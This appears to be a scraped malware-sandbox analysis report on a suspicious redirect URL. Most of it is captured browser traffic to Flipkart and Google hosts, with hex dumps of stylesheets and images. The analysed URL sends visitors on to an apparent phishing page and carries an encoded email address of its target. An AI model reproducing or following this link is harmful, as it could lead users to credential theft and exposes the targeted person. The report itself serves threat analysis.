X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-14 12:29:06 UTC	87	IN	Data Raw: 33 36 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 74 64 20 62 61 6e 6b 20 63 6c 6f 73 69 6e 67 20 62 72 61 6e 63 68 65 73 22 2c 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6d 61 72 63 68 20 31 34 22 2c 22 77 68 61 74 20 74 69 6d 65 20 63 Data Ascii: 365)]}'["",["td bank closing branches","nyt connections hints march 14","what time c
2025-03-14 12:29:06 UTC	789	IN	Data Raw: 61 6e 20 69 20 70 6c 61 79 20 6d 6c 62 20 74 68 65 20 73 68 6f 77 20 32 35 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 67 61 6d 65 73 22 2c 22 73 70 61 63 65 78 20 6c 61 75 6e 63 68 20 61 73 74 72 6f 6e 61 75 74 73 22 2c 22 6e 66 6c 20 66 72 65 65 20 61 67 65 6e 74 73 20 73 69 67 6e 69 6e 67 73 22 2c 22 63 68 69 63 61 67 6f 20 72 69 76 65 72 20 64 79 65 69 6e 67 20 32 30 32 35 22 2c 22 72 69 70 70 6c 65 20 78 72 70 20 6e 65 77 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 6f 49 6b 6b Data Ascii: an i play mlb the show 25","nintendo switch games","spacex launch astronauts","nfl free agents signings","chicago river dyeing 2025","ripple xrp news"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk
2025-03-14 12:29:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:06 UTC	639	OUT	GET /batman-returns/batman-returns/p/CrossCommon.3d2145.css HTTP/1.1 Host: static-assets-web.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:07 UTC	415	IN	HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Tue, 29 Oct 2024 05:47:48 GMT ETag: W/"5aeb3d7e01978bebf8795b116b4c1178" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: viewport-width, dpr Cache-Control: public, max-age=26591065 Expires: Fri, 16 Jan 2026 06:53:32 GMT Date: Fri, 14 Mar 2025 12:29:07 GMT Content-Length: 3480 Connection: close
2025-03-14 12:29:07 UTC	3480	IN	Data Raw: 2e 5f 31 41 66 70 79 45 7b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 31 36 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 31 66 33 66 36 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 37 32 70 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 4a 32 6e 6d 2d 6c 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 7d 2e 5f 32 75 50 72 4f 7a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 34 70 78 3b 63 6f 6c 6f 72 3a 23 32 31 32 31 32 31 7d 2e 5f 31 6a 6f 37 4a 5f 7b 63 6f 6c 6f 72 3a 23 Data Ascii: ._1AfpyE{padding:12px 16px;display:flex;background:#f1f3f6;min-height:72px;align-items:center;justify-content:center}.J2nm-l{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}._2uPrOz{font-size:14px;margin-bottom:4px;color:#212121}._1jo7J_{color:#

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:07 UTC	645	OUT	GET /batman-returns/batman-returns/p/DesktopComponents.fbd6d4.css HTTP/1.1 Host: static-assets-web.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:07 UTC	416	IN	HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Wed, 22 Jan 2025 18:10:52 GMT ETag: W/"9e1ea1a84da838d37e93ec6cf9f6d52b" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: viewport-width, dpr Cache-Control: public, max-age=27220632 Expires: Fri, 23 Jan 2026 13:46:19 GMT Date: Fri, 14 Mar 2025 12:29:07 GMT Content-Length: 14409 Connection: close
2025-03-14 12:29:07 UTC	14409	IN	Data Raw: 2e 5f 32 32 44 67 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 34 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 7d 2e 5f 31 38 75 38 37 6d 7b 70 61 64 64 69 6e 67 3a 38 70 78 20 31 30 70 78 20 31 30 70 78 20 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 30 65 30 65 30 7d 2e 5f 31 38 75 38 37 6d 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 2e 5f 31 38 75 38 37 6d 2e 5f 32 66 4c 4f 4e 4e 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 34 30 70 Data Ascii: ._22Dgdy{position:relative;margin-bottom:34px;font-size:16px}._18u87m{padding:8px 10px 10px 0;width:100%;color:#000;font-size:inherit;background:#fff;border:none;border-bottom:1px solid #e0e0e0}._18u87m:focus{outline:none}._18u87m._2fLONN{padding-left:40p

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:07 UTC	705	OUT	GET /batman-returns/batman-returns/p/images/fkheaderlogo_exploreplus-44005d.svg HTTP/1.1 Host: static-assets-web.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:08 UTC	421	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Last-Modified: Thu, 23 Jan 2025 18:21:20 GMT ETag: W/"44005db2927195235fcdfb9be46e86b7" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: viewport-width, dpr Cache-Control: public, max-age=27249591 Expires: Fri, 23 Jan 2026 21:48:59 GMT Date: Fri, 14 Mar 2025 12:29:08 GMT Content-Length: 17897 Connection: close
2025-03-14 12:29:08 UTC	15963	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 35 39 22 20 68 65 69 67 68 74 3d 22 34 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 35 39 20 34 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 0a 20 20 3c 70 61 74 68 20 64 3d 22 4d 38 32 2e 37 35 36 34 20 34 2e 37 38 32 36 33 4c 38 33 2e 30 30 31 33 20 33 2e 31 38 38 32 37 43 38 33 2e 30 34 33 20 32 2e 39 33 38 31 33 20 38 32 2e 39 37 20 32 2e 36 38 37 39 36 20 38 32 2e 38 30 33 33 20 32 2e 34 39 35 31 35 43 38 32 2e 36 34 31 37 20 32 2e 33 30 32 33 34 20 38 32 2e 34 30 32 20 32 2e 31 39 32 38 37 20 38 32 2e 31 34 36 37 20 32 2e 31 39 32 38 37 48 37 32 2e 34 36 34 35 43 37 32 2e 30 33 37 32 20 32 2e 31 39 32 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="159" height="40" viewBox="0 0 159 40" fill="none"> <path d="M82.7564 4.78263L83.0013 3.18827C83.043 2.93813 82.97 2.68796 82.8033 2.49515C82.6417 2.30234 82.402 2.19287 82.1467 2.19287H72.4645C72.0372 2.192
2025-03-14 12:29:08 UTC	1934	IN	Data Raw: 38 33 20 31 33 34 2e 30 30 34 20 33 31 2e 37 35 35 32 43 31 33 34 2e 32 30 34 20 33 31 2e 38 33 32 32 20 31 33 34 2e 34 34 32 20 33 31 2e 39 30 31 34 20 31 33 34 2e 37 31 39 20 33 31 2e 39 36 33 43 31 33 34 2e 39 39 37 20 33 32 2e 30 31 36 39 20 31 33 35 2e 32 37 34 20 33 32 2e 30 39 33 38 20 31 33 35 2e 35 35 31 20 33 32 2e 31 39 33 39 43 31 33 35 2e 38 33 35 20 33 32 2e 32 38 36 32 20 31 33 36 2e 30 37 34 20 33 32 2e 34 35 31 37 20 31 33 36 2e 32 36 36 20 33 32 2e 36 39 30 32 43 31 33 36 2e 34 36 36 20 33 32 2e 39 32 31 31 20 31 33 36 2e 35 36 36 20 33 33 2e 32 31 37 34 20 31 33 36 2e 35 36 36 20 33 33 2e 35 37 39 31 43 31 33 36 2e 35 36 36 20 33 34 2e 33 32 35 36 20 31 33 36 2e 32 39 37 20 33 34 2e 38 37 35 38 20 31 33 35 2e 37 35 38 20 33 35 2e 32 32 Data Ascii: 83 134.004 31.7552C134.204 31.8322 134.442 31.9014 134.719 31.963C134.997 32.0169 135.274 32.0938 135.551 32.1939C135.835 32.2862 136.074 32.4517 136.266 32.6902C136.466 32.9211 136.566 33.2174 136.566 33.5791C136.566 34.3256 136.297 34.8758 135.758 35.22

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:07 UTC	673	OUT	GET /fk-p-flap/1620/270/image/173cacfaf069fe7d.png?q=80 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:08 UTC	282	IN	HTTP/1.1 200 OK Content-Type: image/webp ETag: ad79a8855367a2337b32204d4a2194e3 Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:07 GMT Content-Length: 27180 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.6cb6655f.1741955347.12b4ad6d
2025-03-14 12:29:08 UTC	16102	IN	Data Raw: 52 49 46 46 24 6a 00 00 57 45 42 50 56 50 38 20 18 6a 00 00 d0 0b 02 9d 01 2a 54 06 0d 01 3e 6d 34 96 48 a6 24 23 21 a3 d3 7a 00 c0 0d 89 63 6e f1 a6 74 72 1f 05 13 bd 63 36 6c 1a 7d 44 fd 57 90 1e 13 32 df c9 3f b1 fe 6b ea 3b e7 e7 95 fc 8d f9 26 a8 bf c8 f0 1f ec bf ea 79 b3 fb cf f1 df f6 7e e4 be 65 7f cf fd b1 f7 6d fd 6b fd 77 b0 4f f5 5f ef 7f 46 7f 43 bf ef 7a e3 fe d1 ff 7b d4 7f f5 7f f2 ff b6 1e f5 3f eb 3f 70 bd dc 7f 7a ff 81 ec 11 fd c3 fc cf ff 4f 5e 4f 62 ef f0 3f f2 bf ff ff ff f8 20 fd bf ff e9 ed 2d ff b3 f7 9b e1 c7 fc 07 fd ef de 8f 77 ff f5 5f ff fd 80 3f ff fb 76 f4 8f f6 9f fd 57 a6 1f 98 7f 15 fe ff f2 87 d1 ff 3a 1e bb fd fb f6 bf fc 5f cd af ea 9f ee 79 a2 f8 2f f4 3c db fa ee fa 2f f0 df ba 7f e0 3d ea ff a9 fe 1b f2 37 d7 df Data Ascii: RIFF$jWEBPVP8 j*T>m4H$#!zcntrc6l}DW2?k;&y~emkwO_FCz{??pzO^Ob? -w_?vW:_y/</=7
2025-03-14 12:29:08 UTC	8474	IN	Data Raw: 00 1f 0e a5 cd fa 78 e9 07 80 08 08 80 02 98 06 7a b9 5b 72 b2 1a 3d 44 6b d6 71 1e 37 32 c0 6c 1a 11 c6 9e de 47 ec 1f 65 c8 17 c9 3b 25 9d b5 1b 1f eb 94 c0 25 a2 e4 35 9c 42 1f db 49 b1 37 04 1b f0 e9 b0 2b cc b2 bb 6d 14 f6 5c 29 99 b1 37 17 fb a1 b7 1a b7 6d 46 6b 98 68 50 b5 b1 ca 85 08 ce 73 30 7f 9a dd dd fb 45 aa 40 53 12 01 e0 c9 b2 a5 4f 6c f5 c7 ae 15 da 6b e2 da 13 6d 96 d9 6c 4c c9 d2 fc 8c 43 60 c8 d7 16 b7 a7 ca ff c9 d2 f6 5c 5a 0b e9 71 b2 82 8b d6 39 b7 90 eb 2b 88 d6 8c 00 24 57 6d 54 04 65 ce f2 f4 13 80 87 eb af f1 7e d7 db 8c 61 cc af 42 a1 a6 f0 76 bf b5 6f cf 72 d2 b3 15 cf 5b 51 ad 53 56 8f 48 78 44 2e fc bb 65 22 4c 90 37 e1 2b d0 cf 69 9f b2 f5 ad 8c df 1f 54 ba 7a 0e 72 52 cd 1e 8f b8 fb 3e 80 f5 86 99 58 2f a3 33 24 6e 2d 02 Data Ascii: xz[r=Dkq72lGe;%%5BI7+m\)7mFkhPs0E@SOlkmlLC`\Zq9+$WmTe~aBvor[QSVHxD.e"L7+iTzrR>X/3$n-
2025-03-14 12:29:08 UTC	2604	IN	Data Raw: ba 45 fb e1 ed 51 84 ef 0e 41 19 04 fe f6 3f ca b1 c3 94 c3 a7 13 e8 b3 2c 43 77 ad a0 be a4 7a a2 b4 1c 53 c2 c7 53 a9 ae 7d 33 3a 56 6e 01 83 7f 22 21 76 d5 42 2c 82 80 b3 f6 78 37 63 92 4f b3 f8 38 7b 49 11 73 94 d1 f9 a7 dc a0 c6 63 31 52 5a 75 0c 17 bc 3d d7 d0 8e e5 05 c2 23 d1 9c 97 2f e3 d1 b3 a6 f1 70 8f 66 08 10 a0 7f 4c 7e 10 17 88 4c af 38 93 4e 16 da ff 1f fc eb a6 08 a0 db fd 2d ad 7e 2a 87 03 d2 13 bb f5 87 dc 71 a2 db 71 ed ad f8 a8 9d 01 f2 97 b2 e5 b1 dc a3 7e a1 15 ea 1a 0b f9 38 99 04 92 35 da d1 ba 9b 82 0e 8f b6 c4 6f 49 69 fc 2c 44 14 6f 01 c4 f0 c1 7b 39 77 df 52 89 2f f6 50 6d af 23 da 48 6e 56 b1 44 46 8b e7 73 8a 4d 34 af db b1 c9 11 78 47 2c dd 80 cb 7b 69 cc 42 b9 cd df 57 15 df d2 a3 4f a8 c4 eb aa f1 39 11 00 e9 7b 9f 68 d1 Data Ascii: EQA?,CwzSS}3:Vn"!vB,x7cO8{Isc1RZu=#/pfL~L8N-~*qq~85oIi,Do{9wR/Pm#HnVDFsM4xG,{iBWO9{h

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:08 UTC	673	OUT	GET /fk-p-flap/1620/270/image/373914b13f0b4dfb.jpg?q=20 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:08 UTC	281	IN	HTTP/1.1 200 OK Content-Type: image/webp ETag: 0a0a184d739233a2c52f73f3ea7bc370 Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:08 GMT Content-Length: 6394 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.6cb6655f.1741955348.12b4b683
2025-03-14 12:29:08 UTC	6394	IN	Data Raw: 52 49 46 46 f2 18 00 00 57 45 42 50 56 50 38 20 e6 18 00 00 70 fd 00 9d 01 2a 54 06 0d 01 3f 39 9c c9 5d 32 2d 2a a6 a2 15 b8 ca 40 27 09 65 6e f2 4e 7b 94 0b 08 ed 1b 14 59 fb a3 0a fa ef e5 42 4a f9 67 ca 29 27 5a c5 de 99 b7 fc 87 7d 5f fb 1e b5 39 cd 7a 81 e7 7d d3 97 dd 94 c9 57 f5 47 9f f2 e0 7d 8e 7f 4d cb 62 e6 50 bc d1 1e 38 c8 9b 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da 9b 53 6a 6d 4d a9 b5 36 a6 d4 da Data Ascii: RIFFWEBPVP8 pT?9]2-@'enN{YBJg)'Z}_9z}WG}MbP8jmM6SjmM6SjmM6SjmM6SjmM6SjmM6SjmM6SjmM6SjmM6SjmM6SjmM6SjmM6SjmM6

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:08 UTC	672	OUT	GET /fk-p-flap/530/810/image/ec9bba198c534edb.jpg?q=80 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:08 UTC	282	IN	HTTP/1.1 200 OK Content-Type: image/webp ETag: 33d1fafd9f5888a83de9ff0d3fe2cbf7 Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:08 GMT Content-Length: 24260 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.6cb6655f.1741955348.12b4b755
2025-03-14 12:29:08 UTC	16102	IN	Data Raw: 52 49 46 46 bc 5e 00 00 57 45 42 50 56 50 38 20 b0 5e 00 00 f0 ce 01 9d 01 2a 0f 02 2a 03 3e 6d 34 96 48 26 24 a3 21 a4 b3 3a d0 c0 0d 89 4d df 7a da 96 9f fb 6a f9 83 c0 21 22 2b b5 eb fd 8f f8 ef dc 0f 02 ac e3 e3 7f ba fe cc ff 86 fd aa f9 a4 b0 3f 7f fe eb fa 67 fb e7 ec af df ef f5 3b 35 f8 8f fa 5e 69 3c d3 fe db fc ef e4 9f cb 6f f7 1f f9 fd 92 fe 8f ff 89 fe 53 f7 ff e8 33 f5 27 fd 2f f7 3f f0 3f b1 5f 19 9f f0 3d b7 ff 6f ff af f9 3b f0 6f f9 cf f8 4f fd 5f e7 3f 7f fe 61 3f d5 ff d6 ff 43 ef 43 fd 0f fb 0f d9 bf e8 9f 20 5f d3 bf bf ff ec f5 c3 ff ff ee bf fb 99 ff ff dc 27 fa 87 fa 8f ff fe bb 1f b7 bf f4 be 58 ff a9 ff c7 fd b8 f6 93 ff f3 fe cf dc 03 ff ff b6 e7 46 ff 61 3f ca ff 80 fd 99 f7 b1 e1 ef e8 3f c6 7e 3f fa cb e7 5f df 5f c0 7e e0 Data Ascii: RIFF^WEBPVP8 ^**>m4H&$!:Mzj!"+?g;5^i<oS3'/??_=o;oO_?a?CC _'XFa??~?__~
2025-03-14 12:29:08 UTC	8158	IN	Data Raw: ab a1 35 6f c4 7a d8 d7 2c af 44 3a 46 f1 b6 44 1d e0 85 e3 91 13 d3 fa 28 cb a8 6e 3e 72 c7 f4 0e 2f 9c 45 b9 42 46 6b aa fa 1b 7f a5 7a 2d 85 0c 8e 5b 75 db 06 1b 7b 0d 2c 99 93 a5 48 94 ee c5 bf 07 aa 7f c7 b2 a5 25 1b 1b d2 96 a8 07 65 b7 c9 f0 35 ff f4 ac 11 56 81 9d 41 e8 74 39 39 14 63 57 da cc a8 2d 42 fe 89 f7 42 27 54 34 ba d4 8c f4 84 24 0e 2f 64 c5 6e 3b f8 7e 73 ee c4 a4 a6 9d fa bd 37 61 a2 e6 8a 95 12 b1 76 01 b4 af 2b 06 bc a8 27 e5 66 7a 5b 8e ff c4 b8 7a 4b 8d e4 e0 94 65 fa 78 59 20 17 8a df d9 90 ba 75 e3 a8 31 26 4f b8 6a 46 47 42 9e cc f6 8c 4a 51 da b8 c0 bc cd b7 19 61 0b bb af be 76 5c 55 d6 1f 69 82 e7 0d 34 75 9d 14 ba 6e 97 e0 81 41 d4 df 35 d0 11 e8 29 47 b1 c2 89 22 df 17 8a 8f 9e e8 d3 04 42 da 40 b4 63 02 f6 7d 10 d4 59 01 Data Ascii: 5oz,D:FD(n>r/EBFkz-[u{,H%e5VAt99cW-BB'T4$/dn;~s7av+'fz[zKexY u1&OjFGBJQav\Ui4unA5)G"B@c}Y

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Windows Analysis Report
https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:08 UTC	735	OUT	GET /image/120/120/xif0q/projector/z/h/s/i9-pro-max-10-e03i31-led-projector-egate-original-imah9ehh9zcxzsfa.jpeg?q=80 HTTP/1.1 Host: rukminim2.flixcart.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://www.flipkart.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:08 UTC	281	IN	HTTP/1.1 200 OK Content-Type: image/webp ETag: d86948e8fb40fb547c71fd501e259168 Cache-Control: max-age=2592000 Date: Fri, 14 Mar 2025 12:29:08 GMT Content-Length: 2420 Connection: close Access-Control-Allow-Origin: * Vary: Accept ak-grn: 0.6cb6655f.1741955348.12b4b776
2025-03-14 12:29:08 UTC	2420	IN	Data Raw: 52 49 46 46 6c 09 00 00 57 45 42 50 56 50 38 20 60 09 00 00 30 28 00 9d 01 2a 78 00 47 00 3e 6d 30 92 46 a6 24 22 21 aa 77 6d 50 c0 0d 89 65 2c ff c2 0b 18 76 99 da 78 a7 ea af 4c 56 99 06 f3 ed 77 7e 2f b9 b5 f6 e7 b6 5c 8f fa 1f cc 8f b0 78 c2 ff 6f fd 63 c6 ff 87 bf de fa 81 7b 03 fc ff 9e 37 d1 f7 3e ea be 60 5e d0 fd 47 fd 57 a5 8f d3 f9 a3 c1 0f fe 83 c7 63 c8 fd 80 ff 92 ff 6b ff 7b fd 8f d8 87 fe 9f f3 bf 92 be eb 7e 96 ff bf fe 67 e0 3f f5 bf fe 5f e6 ef c6 67 b0 df da 1f 66 4f d8 04 32 01 17 ef fa f8 d5 bd 6a b4 d8 53 7c 8d c5 70 c6 47 70 8c c5 9b b7 b4 f1 bb 79 36 4b e6 ee 4f 0f f6 9b ce d6 b7 3f cf 47 70 82 44 61 2f 62 e1 d7 fb 1b 13 b6 95 eb 57 15 f3 69 97 73 88 4b 1c aa f2 25 9a 1a 9b 1c d8 96 cc 7c 95 5d e4 25 fe 94 a1 e0 ec 72 5a 48 5a 61 Data Ascii: RIFFlWEBPVP8 `0(*xG>m0F$"!wmPe,vxLVw~/\xoc{7>`^GWck{~g?_gfO2jS\|pGpy6KO?GpDa/bWisK%\|]%rZHZa

Timestamp	Bytes transferred	Direction	Data
